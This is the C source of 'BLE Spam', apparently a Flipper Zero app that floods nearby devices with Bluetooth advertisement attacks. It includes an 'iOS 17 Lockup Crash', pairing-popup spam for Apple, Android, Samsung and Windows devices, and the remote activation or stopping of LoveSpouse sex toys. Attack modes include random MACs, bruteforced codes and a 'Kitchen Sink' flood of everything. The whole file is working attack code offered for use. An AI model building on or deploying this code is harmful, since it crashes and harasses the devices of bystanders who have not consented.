ble_spam.c 24 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715
  1. #include "ble_spam.h"
  2. #include <gui/gui.h>
  3. #include <furi_hal_bt.h>
  4. #include <extra_beacon.h>
  5. #include <gui/elements.h>
  6. #include "protocols/_protocols.h"
  7. // Hacked together by @Willy-JL
  8. // Custom adv API by @Willy-JL (idea by @xMasterX)
  9. // iOS 17 Crash by @ECTO-1A
  10. // Android, Samsung and Windows Pairs by @Spooks4576 and @ECTO-1A
  11. // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
  12. // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
  13. static Attack attacks[] = {
  14. {
  15. .title = "The Kitchen Sink",
  16. .text = "Flood all attacks at once",
  17. .protocol = NULL,
  18. .payload =
  19. {
  20. .random_mac = true,
  21. .cfg = {},
  22. },
  23. },
  24. {
  25. .title = "iOS 17 Lockup Crash",
  26. .text = "Newer iPhones, long range",
  27. .protocol = &protocol_continuity,
  28. .payload =
  29. {
  30. .random_mac = false,
  31. .cfg.continuity =
  32. {
  33. .type = ContinuityTypeCustomCrash,
  34. },
  35. },
  36. },
  37. {
  38. .title = "Apple Action Modal",
  39. .text = "Lock cooldown, long range",
  40. .protocol = &protocol_continuity,
  41. .payload =
  42. {
  43. .random_mac = false,
  44. .cfg.continuity =
  45. {
  46. .type = ContinuityTypeNearbyAction,
  47. },
  48. },
  49. },
  50. {
  51. .title = "Apple Device Popup",
  52. .text = "No cooldown, close range",
  53. .protocol = &protocol_continuity,
  54. .payload =
  55. {
  56. .random_mac = false,
  57. .cfg.continuity =
  58. {
  59. .type = ContinuityTypeProximityPair,
  60. },
  61. },
  62. },
  63. {
  64. .title = "Android Device Connect",
  65. .text = "Reboot cooldown, long range",
  66. .protocol = &protocol_fastpair,
  67. .payload =
  68. {
  69. .random_mac = true,
  70. .cfg.fastpair = {},
  71. },
  72. },
  73. {
  74. .title = "Samsung Buds Popup",
  75. .text = "No cooldown, long range",
  76. .protocol = &protocol_easysetup,
  77. .payload =
  78. {
  79. .random_mac = true,
  80. .cfg.easysetup =
  81. {
  82. .type = EasysetupTypeBuds,
  83. },
  84. },
  85. },
  86. {
  87. .title = "Samsung Watch Pair",
  88. .text = "No cooldown, long range",
  89. .protocol = &protocol_easysetup,
  90. .payload =
  91. {
  92. .random_mac = true,
  93. .cfg.easysetup =
  94. {
  95. .type = EasysetupTypeWatch,
  96. },
  97. },
  98. },
  99. {
  100. .title = "Windows Device Found",
  101. .text = "No cooldown, short range",
  102. .protocol = &protocol_swiftpair,
  103. .payload =
  104. {
  105. .random_mac = true,
  106. .cfg.swiftpair = {},
  107. },
  108. },
  109. {
  110. .title = "Vibrate 'em All",
  111. .text = "Activate all LoveSpouse toys",
  112. .protocol = &protocol_lovespouse,
  113. .payload =
  114. {
  115. .random_mac = true,
  116. .cfg.lovespouse =
  117. {
  118. .state = LovespouseStatePlay,
  119. },
  120. },
  121. },
  122. {
  123. .title = "Denial of Pleasure",
  124. .text = "Disable all LoveSpouse toys",
  125. .protocol = &protocol_lovespouse,
  126. .payload =
  127. {
  128. .random_mac = true,
  129. .cfg.lovespouse =
  130. {
  131. .state = LovespouseStateStop,
  132. },
  133. },
  134. },
  135. };
  136. #define ATTACKS_COUNT ((signed)COUNT_OF(attacks))
  137. static uint16_t delays[] = {20, 50, 100, 200, 500};
  138. typedef struct {
  139. Ctx ctx;
  140. View* main_view;
  141. bool lock_warning;
  142. uint8_t lock_count;
  143. FuriTimer* lock_timer;
  144. bool advertising;
  145. uint8_t delay;
  146. GapExtraBeaconConfig config;
  147. FuriThread* thread;
  148. int8_t index;
  149. bool ignore_bruteforce;
  150. } State;
  151. const NotificationSequence solid_message = {
  152. &message_red_0,
  153. &message_green_255,
  154. &message_blue_255,
  155. &message_do_not_reset,
  156. &message_delay_10,
  157. NULL,
  158. };
  159. NotificationMessage blink_message = {
  160. .type = NotificationMessageTypeLedBlinkStart,
  161. .data.led_blink.color = LightBlue | LightGreen,
  162. .data.led_blink.on_time = 10,
  163. .data.led_blink.period = 100,
  164. };
  165. const NotificationSequence blink_sequence = {
  166. &blink_message,
  167. &message_do_not_reset,
  168. NULL,
  169. };
  170. static void start_blink(State* state) {
  171. uint16_t period = delays[state->delay];
  172. if(period <= 100) period += 30;
  173. blink_message.data.led_blink.period = period;
  174. notification_message_block(state->ctx.notification, &blink_sequence);
  175. }
  176. static void stop_blink(State* state) {
  177. notification_message_block(state->ctx.notification, &sequence_blink_stop);
  178. }
  179. static void randomize_mac(State* state) {
  180. furi_hal_random_fill_buf(state->config.address, sizeof(state->config.address));
  181. }
  182. static void start_extra_beacon(State* state) {
  183. uint8_t size;
  184. uint8_t* packet;
  185. uint16_t delay = delays[state->delay];
  186. GapExtraBeaconConfig* config = &state->config;
  187. Payload* payload = &attacks[state->index].payload;
  188. const Protocol* protocol = attacks[state->index].protocol;
  189. config->min_adv_interval_ms = delay;
  190. config->max_adv_interval_ms = delay * 1.5;
  191. if(payload->random_mac) randomize_mac(state);
  192. furi_check(furi_hal_bt_extra_beacon_set_config(config));
  193. if(protocol) {
  194. protocol->make_packet(&size, &packet, payload);
  195. } else {
  196. protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL);
  197. }
  198. furi_check(furi_hal_bt_extra_beacon_set_data(packet, size));
  199. free(packet);
  200. furi_check(furi_hal_bt_extra_beacon_start());
  201. }
  202. static int32_t adv_thread(void* _ctx) {
  203. State* state = _ctx;
  204. Payload* payload = &attacks[state->index].payload;
  205. const Protocol* protocol = attacks[state->index].protocol;
  206. if(!payload->random_mac) randomize_mac(state);
  207. if(state->ctx.led_indicator) start_blink(state);
  208. while(state->advertising) {
  209. if(protocol && payload->mode == PayloadModeBruteforce &&
  210. payload->bruteforce.counter++ >= 10) {
  211. payload->bruteforce.counter = 0;
  212. payload->bruteforce.value =
  213. (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
  214. }
  215. start_extra_beacon(state);
  216. furi_thread_flags_wait(true, FuriFlagWaitAny, delays[state->delay]);
  217. furi_hal_bt_extra_beacon_stop();
  218. }
  219. if(state->ctx.led_indicator) stop_blink(state);
  220. return 0;
  221. }
  222. static void toggle_adv(State* state) {
  223. if(state->advertising) {
  224. state->advertising = false;
  225. furi_thread_flags_set(furi_thread_get_id(state->thread), true);
  226. furi_thread_join(state->thread);
  227. } else {
  228. state->advertising = true;
  229. furi_thread_start(state->thread);
  230. }
  231. }
  232. #define PAGE_MIN (-5)
  233. #define PAGE_MAX ATTACKS_COUNT
  234. enum {
  235. PageHelpBruteforce = PAGE_MIN,
  236. PageHelpApps,
  237. PageHelpDelay,
  238. PageHelpDistance,
  239. PageHelpInfoConfig,
  240. PageStart = 0,
  241. PageEnd = ATTACKS_COUNT - 1,
  242. PageAboutCredits = PAGE_MAX,
  243. };
  244. static void draw_callback(Canvas* canvas, void* _ctx) {
  245. State* state = *(State**)_ctx;
  246. const char* back = "Back";
  247. const char* next = "Next";
  248. if(state->index < 0) {
  249. back = "Next";
  250. next = "Back";
  251. }
  252. switch(state->index) {
  253. case PageStart - 1:
  254. next = "Spam";
  255. break;
  256. case PageStart:
  257. back = "Help";
  258. break;
  259. case PageEnd:
  260. next = "About";
  261. break;
  262. case PageEnd + 1:
  263. back = "Spam";
  264. break;
  265. }
  266. const Attack* attack =
  267. (state->index >= 0 && state->index <= ATTACKS_COUNT - 1) ? &attacks[state->index] : NULL;
  268. const Payload* payload = attack ? &attack->payload : NULL;
  269. const Protocol* protocol = attack ? attack->protocol : NULL;
  270. canvas_set_font(canvas, FontSecondary);
  271. canvas_draw_icon(canvas, 4 - !protocol, 3, protocol ? protocol->icon : &I_ble_spam);
  272. canvas_draw_str(canvas, 14, 12, "BLE Spam");
  273. switch(state->index) {
  274. case PageHelpBruteforce:
  275. canvas_set_font(canvas, FontBatteryPercent);
  276. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  277. elements_text_box(
  278. canvas,
  279. 4,
  280. 16,
  281. 120,
  282. 48,
  283. AlignLeft,
  284. AlignTop,
  285. "\e#Bruteforce\e# cycles codes\n"
  286. "to find popups, hold left and\n"
  287. "right to send manually and\n"
  288. "change delay",
  289. false);
  290. break;
  291. case PageHelpApps:
  292. canvas_set_font(canvas, FontBatteryPercent);
  293. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  294. elements_text_box(
  295. canvas,
  296. 4,
  297. 16,
  298. 120,
  299. 48,
  300. AlignLeft,
  301. AlignTop,
  302. "\e#Some Apps\e# interfere\n"
  303. "with the attacks, stay on\n"
  304. "homescreen for best results",
  305. false);
  306. break;
  307. case PageHelpDelay:
  308. canvas_set_font(canvas, FontBatteryPercent);
  309. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  310. elements_text_box(
  311. canvas,
  312. 4,
  313. 16,
  314. 120,
  315. 48,
  316. AlignLeft,
  317. AlignTop,
  318. "\e#Delay\e# is time between\n"
  319. "attack attempts (top right),\n"
  320. "keep 20ms for best results",
  321. false);
  322. break;
  323. case PageHelpDistance:
  324. canvas_set_font(canvas, FontBatteryPercent);
  325. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  326. elements_text_box(
  327. canvas,
  328. 4,
  329. 16,
  330. 120,
  331. 48,
  332. AlignLeft,
  333. AlignTop,
  334. "\e#Distance\e# varies greatly:\n"
  335. "some are long range (>30 m)\n"
  336. "others are close range (<1 m)",
  337. false);
  338. break;
  339. case PageHelpInfoConfig:
  340. canvas_set_font(canvas, FontBatteryPercent);
  341. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  342. elements_text_box(
  343. canvas,
  344. 4,
  345. 16,
  346. 120,
  347. 48,
  348. AlignLeft,
  349. AlignTop,
  350. "See \e#more info\e# and change\n"
  351. "\e#attack options\e# by holding\n"
  352. "Ok on each attack page",
  353. false);
  354. break;
  355. case PageAboutCredits:
  356. canvas_set_font(canvas, FontBatteryPercent);
  357. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits");
  358. elements_text_box(
  359. canvas,
  360. 4,
  361. 16,
  362. 122,
  363. 48,
  364. AlignLeft,
  365. AlignTop,
  366. "App+Spam: \e#WillyJL\e# XFW\n"
  367. "Apple+Crash: \e#ECTO-1A\e#\n"
  368. "Android+Win: \e#Spooks4576\e#\n"
  369. " Version \e#5.1\e#",
  370. false);
  371. break;
  372. default: {
  373. if(!attack) break;
  374. if(state->ctx.lock_keyboard && !state->advertising) {
  375. // Forgive me Lord for I have sinned by handling state in draw
  376. toggle_adv(state);
  377. }
  378. char str[32];
  379. canvas_set_font(canvas, FontBatteryPercent);
  380. if(payload->mode == PayloadModeBruteforce) {
  381. snprintf(
  382. str,
  383. sizeof(str),
  384. "0x%0*lX",
  385. payload->bruteforce.size * 2,
  386. payload->bruteforce.value);
  387. } else {
  388. snprintf(str, sizeof(str), "%ims", delays[state->delay]);
  389. }
  390. canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
  391. canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
  392. canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
  393. canvas_set_font(canvas, FontBatteryPercent);
  394. if(payload->mode == PayloadModeBruteforce) {
  395. canvas_draw_str_aligned(canvas, 64, 22, AlignCenter, AlignBottom, "Bruteforce");
  396. if(delays[state->delay] < 100) {
  397. snprintf(str, sizeof(str), "%ims>", delays[state->delay]);
  398. } else {
  399. snprintf(str, sizeof(str), "%.1fs>", (double)delays[state->delay] / 1000);
  400. }
  401. uint16_t w = canvas_string_width(canvas, str);
  402. elements_slightly_rounded_box(canvas, 3, 14, 30, 10);
  403. elements_slightly_rounded_box(canvas, 119 - w, 14, 6 + w, 10);
  404. canvas_invert_color(canvas);
  405. canvas_draw_str_aligned(canvas, 5, 22, AlignLeft, AlignBottom, "<Send");
  406. canvas_draw_str_aligned(canvas, 122, 22, AlignRight, AlignBottom, str);
  407. canvas_invert_color(canvas);
  408. } else {
  409. snprintf(
  410. str,
  411. sizeof(str),
  412. "%02i/%02i: %s",
  413. state->index + 1,
  414. ATTACKS_COUNT,
  415. protocol ? protocol->get_name(payload) : "Everything AND");
  416. canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 22, str);
  417. }
  418. canvas_set_font(canvas, FontPrimary);
  419. canvas_draw_str(canvas, 4, 33, attack->title);
  420. canvas_set_font(canvas, FontSecondary);
  421. canvas_draw_str(canvas, 4, 46, attack->text);
  422. elements_button_center(canvas, state->advertising ? "Stop" : "Start");
  423. break;
  424. }
  425. }
  426. if(state->index > PAGE_MIN) {
  427. elements_button_left(canvas, back);
  428. }
  429. if(state->index < PAGE_MAX) {
  430. elements_button_right(canvas, next);
  431. }
  432. if(state->lock_warning) {
  433. canvas_set_font(canvas, FontSecondary);
  434. elements_bold_rounded_frame(canvas, 14, 8, 99, 48);
  435. elements_multiline_text(canvas, 65, 26, "To unlock\npress:");
  436. canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8);
  437. canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8);
  438. canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8);
  439. canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42);
  440. canvas_draw_dot(canvas, 17, 61);
  441. }
  442. }
  443. static bool input_callback(InputEvent* input, void* _ctx) {
  444. View* view = _ctx;
  445. State* state = *(State**)view_get_model(view);
  446. bool consumed = false;
  447. if(state->ctx.lock_keyboard) {
  448. consumed = true;
  449. with_view_model(
  450. state->main_view, State * *model, { (*model)->lock_warning = true; }, true);
  451. if(state->lock_count == 0) {
  452. furi_timer_start(state->lock_timer, 1000);
  453. }
  454. if(input->type == InputTypeShort && input->key == InputKeyBack) {
  455. state->lock_count++;
  456. }
  457. if(state->lock_count >= 3) {
  458. furi_timer_start(state->lock_timer, 1);
  459. }
  460. } else if(
  461. input->type == InputTypeShort || input->type == InputTypeLong ||
  462. input->type == InputTypeRepeat) {
  463. consumed = true;
  464. bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1;
  465. Payload* payload = is_attack ? &attacks[state->index].payload : NULL;
  466. bool advertising = state->advertising;
  467. switch(input->key) {
  468. case InputKeyOk:
  469. if(is_attack) {
  470. if(input->type == InputTypeLong) {
  471. if(advertising) toggle_adv(state);
  472. state->ctx.attack = &attacks[state->index];
  473. scene_manager_set_scene_state(state->ctx.scene_manager, SceneConfig, 0);
  474. scene_manager_next_scene(state->ctx.scene_manager, SceneConfig);
  475. } else if(input->type == InputTypeShort) {
  476. toggle_adv(state);
  477. }
  478. }
  479. break;
  480. case InputKeyUp:
  481. if(is_attack) {
  482. if(payload->mode == PayloadModeBruteforce) {
  483. payload->bruteforce.counter = 0;
  484. payload->bruteforce.value =
  485. (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
  486. } else if(state->delay < COUNT_OF(delays) - 1) {
  487. state->delay++;
  488. if(advertising) start_blink(state);
  489. }
  490. }
  491. break;
  492. case InputKeyDown:
  493. if(is_attack) {
  494. if(payload->mode == PayloadModeBruteforce) {
  495. payload->bruteforce.counter = 0;
  496. payload->bruteforce.value =
  497. (payload->bruteforce.value - 1) % (1 << (payload->bruteforce.size * 8));
  498. } else if(state->delay > 0) {
  499. state->delay--;
  500. if(advertising) start_blink(state);
  501. }
  502. }
  503. break;
  504. case InputKeyLeft:
  505. if(input->type == InputTypeLong) {
  506. state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
  507. true;
  508. }
  509. if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
  510. payload->mode != PayloadModeBruteforce) {
  511. if(state->index > PAGE_MIN) {
  512. if(advertising) toggle_adv(state);
  513. state->index--;
  514. }
  515. } else {
  516. if(!advertising) {
  517. Payload* payload = &attacks[state->index].payload;
  518. if(input->type == InputTypeLong && !payload->random_mac) randomize_mac(state);
  519. start_extra_beacon(state);
  520. if(state->ctx.led_indicator)
  521. notification_message(state->ctx.notification, &solid_message);
  522. furi_delay_ms(10);
  523. furi_hal_bt_extra_beacon_stop();
  524. if(state->ctx.led_indicator)
  525. notification_message_block(state->ctx.notification, &sequence_reset_rgb);
  526. }
  527. }
  528. break;
  529. case InputKeyRight:
  530. if(input->type == InputTypeLong) {
  531. state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
  532. true;
  533. }
  534. if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
  535. payload->mode != PayloadModeBruteforce) {
  536. if(state->index < PAGE_MAX) {
  537. if(advertising) toggle_adv(state);
  538. state->index++;
  539. }
  540. } else if(input->type == InputTypeLong) {
  541. state->delay = (state->delay + 1) % COUNT_OF(delays);
  542. if(advertising) start_blink(state);
  543. }
  544. break;
  545. case InputKeyBack:
  546. if(advertising) toggle_adv(state);
  547. consumed = false;
  548. break;
  549. default:
  550. break;
  551. }
  552. }
  553. view_commit_model(view, consumed);
  554. return consumed;
  555. }
  556. static void lock_timer_callback(void* _ctx) {
  557. State* state = _ctx;
  558. if(state->lock_count < 3) {
  559. notification_message_block(state->ctx.notification, &sequence_display_backlight_off);
  560. } else {
  561. state->ctx.lock_keyboard = false;
  562. }
  563. with_view_model(
  564. state->main_view, State * *model, { (*model)->lock_warning = false; }, true);
  565. state->lock_count = 0;
  566. }
  567. static void tick_event_callback(void* _ctx) {
  568. State* state = _ctx;
  569. bool advertising;
  570. with_view_model(
  571. state->main_view, State * *model, { advertising = (*model)->advertising; }, advertising);
  572. scene_manager_handle_tick_event(state->ctx.scene_manager);
  573. }
  574. static bool back_event_callback(void* _ctx) {
  575. State* state = _ctx;
  576. return scene_manager_handle_back_event(state->ctx.scene_manager);
  577. }
  578. int32_t ble_spam(void* p) {
  579. UNUSED(p);
  580. GapExtraBeaconConfig prev_cfg;
  581. const GapExtraBeaconConfig* prev_cfg_ptr = furi_hal_bt_extra_beacon_get_config();
  582. if(prev_cfg_ptr) {
  583. memcpy(&prev_cfg, prev_cfg_ptr, sizeof(prev_cfg));
  584. }
  585. uint8_t prev_data[EXTRA_BEACON_MAX_DATA_SIZE];
  586. uint8_t prev_data_len = furi_hal_bt_extra_beacon_get_data(prev_data);
  587. bool prev_active = furi_hal_bt_extra_beacon_is_active();
  588. State* state = malloc(sizeof(State));
  589. state->config.adv_channel_map = GapAdvChannelMapAll;
  590. state->config.adv_power_level = GapAdvPowerLevel_6dBm;
  591. state->config.address_type = GapAddressTypePublic;
  592. state->thread = furi_thread_alloc();
  593. furi_thread_set_callback(state->thread, adv_thread);
  594. furi_thread_set_context(state->thread, state);
  595. furi_thread_set_stack_size(state->thread, 2048);
  596. state->ctx.led_indicator = true;
  597. state->lock_timer = furi_timer_alloc(lock_timer_callback, FuriTimerTypeOnce, state);
  598. state->ctx.notification = furi_record_open(RECORD_NOTIFICATION);
  599. Gui* gui = furi_record_open(RECORD_GUI);
  600. state->ctx.view_dispatcher = view_dispatcher_alloc();
  601. view_dispatcher_enable_queue(state->ctx.view_dispatcher);
  602. view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, state);
  603. view_dispatcher_set_tick_event_callback(state->ctx.view_dispatcher, tick_event_callback, 100);
  604. view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback);
  605. state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx);
  606. state->main_view = view_alloc();
  607. view_allocate_model(state->main_view, ViewModelTypeLocking, sizeof(State*));
  608. with_view_model(
  609. state->main_view, State * *model, { *model = state; }, false);
  610. view_set_context(state->main_view, state->main_view);
  611. view_set_draw_callback(state->main_view, draw_callback);
  612. view_set_input_callback(state->main_view, input_callback);
  613. view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, state->main_view);
  614. state->ctx.byte_input = byte_input_alloc();
  615. view_dispatcher_add_view(
  616. state->ctx.view_dispatcher, ViewByteInput, byte_input_get_view(state->ctx.byte_input));
  617. state->ctx.submenu = submenu_alloc();
  618. view_dispatcher_add_view(
  619. state->ctx.view_dispatcher, ViewSubmenu, submenu_get_view(state->ctx.submenu));
  620. state->ctx.text_input = text_input_alloc();
  621. view_dispatcher_add_view(
  622. state->ctx.view_dispatcher, ViewTextInput, text_input_get_view(state->ctx.text_input));
  623. state->ctx.variable_item_list = variable_item_list_alloc();
  624. view_dispatcher_add_view(
  625. state->ctx.view_dispatcher,
  626. ViewVariableItemList,
  627. variable_item_list_get_view(state->ctx.variable_item_list));
  628. view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen);
  629. scene_manager_next_scene(state->ctx.scene_manager, SceneMain);
  630. view_dispatcher_run(state->ctx.view_dispatcher);
  631. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewByteInput);
  632. byte_input_free(state->ctx.byte_input);
  633. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewSubmenu);
  634. submenu_free(state->ctx.submenu);
  635. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewTextInput);
  636. text_input_free(state->ctx.text_input);
  637. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList);
  638. variable_item_list_free(state->ctx.variable_item_list);
  639. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain);
  640. view_free(state->main_view);
  641. scene_manager_free(state->ctx.scene_manager);
  642. view_dispatcher_free(state->ctx.view_dispatcher);
  643. furi_record_close(RECORD_GUI);
  644. furi_record_close(RECORD_NOTIFICATION);
  645. furi_timer_free(state->lock_timer);
  646. furi_thread_free(state->thread);
  647. free(state);
  648. if(prev_cfg_ptr) {
  649. furi_check(furi_hal_bt_extra_beacon_set_config(&prev_cfg));
  650. }
  651. furi_check(furi_hal_bt_extra_beacon_set_data(prev_data, prev_data_len));
  652. if(prev_active) {
  653. furi_check(furi_hal_bt_extra_beacon_start());
  654. }
  655. return 0;
  656. }